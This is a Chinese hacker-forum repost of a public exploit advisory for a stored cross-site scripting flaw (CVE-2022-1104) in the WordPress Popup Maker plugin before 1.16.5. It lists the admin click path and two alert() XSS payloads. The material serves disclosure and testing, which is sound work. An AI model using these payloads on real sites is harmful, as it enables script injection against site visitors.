游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

赤队小组-代号1949（原CHT攻防小组）在这个瞬息万变的网络时代，我们保持初心，创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识，您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告，请注册用户查看我们的使用与隐私策略，谢谢您的配合。小组成员可以获取论坛隐藏内容！

TheHackerWorld官方

WordPress Plugin Popup Maker 1.16.5 - Stored Cross-Site Scripting (Authenticated)

PHP,webapps,CVE-2022-1104

发布于2022年11月4日3年前

# Exploit Title: WordPress Plugin Popup Maker <1.16.5 - Persistent Cross-Site Scripting (Authenticated)
# Date: 2022-03-03
# Exploit Author: Roel van Beurden
# Vendor Homepage: https://wppopupmaker.com
# Software Link: https://downloads.wordpress.org/plugin/popup-maker.1.16.4.zip
# Version: <1.16.5
# Tested on: WordPress 5.9 on Ubuntu 20.04


1. Description:
----------------------
WordPress Plugin Popup Maker <1.16.5 does not sanitise and escape some of its popup settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.


2. Proof of Concept:
----------------------
Create Popup > Popup Settings > Triggers > Add New Cookie > Add > Cookie Time  (overwrite the default '1 month' with XSS payload)
Click 'Add' what triggers the XSS payload

Payload examples:

<script>alert('XSS');</script>
<img src=x onerror=alert('XSS')>